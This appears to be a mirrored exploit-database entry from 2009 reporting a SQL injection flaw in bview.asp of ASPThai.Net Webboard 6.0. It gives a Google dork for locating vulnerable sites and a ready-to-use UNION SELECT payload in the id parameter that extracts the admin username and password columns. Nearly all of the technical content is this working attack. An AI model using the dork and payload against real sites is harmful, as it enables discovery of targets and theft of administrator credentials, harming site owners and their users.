ASPThai.Net Webboard 6.0 (bview.asp) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : ASPThai.Net Webboard 6.0 (bview.asp) SQL Injection Vulnerability
# Published : 2009-01-01
# Author : DaiMon
# Previous Title : EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability
# Next Title : PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit

ASPThai.Net Webboard 6.0(bview.asp) SQL Injection Vulnerability
#############################################
>>Autore: DaiMon
>>Email: cwdaimon[1]gmail.com
>>Site: http://www.cwdaimon.com
>>Version: 6.0
>>Download: http://www.aspthai.net/detailcode.asp?Mode=Load&DID=7&Redirect=QUHG/UKCD/RREP/VZssGGYUkedWebLtksjudROM
##############################################
>>>>
Bug In bview.asp
>>>>
Google Dork:
allinurl:bview.asp?id=
>>>>
Exploit:
 
bview.asp?id=1+union+select+0,useradmin,2,3,4,passadmin,6,7,8+from+admin
##############################################
Special:PARS! & Equilibrium & KaYZeRSoZe & ALL Cyber-Warrior

# www.Syue.com [2009-01-01]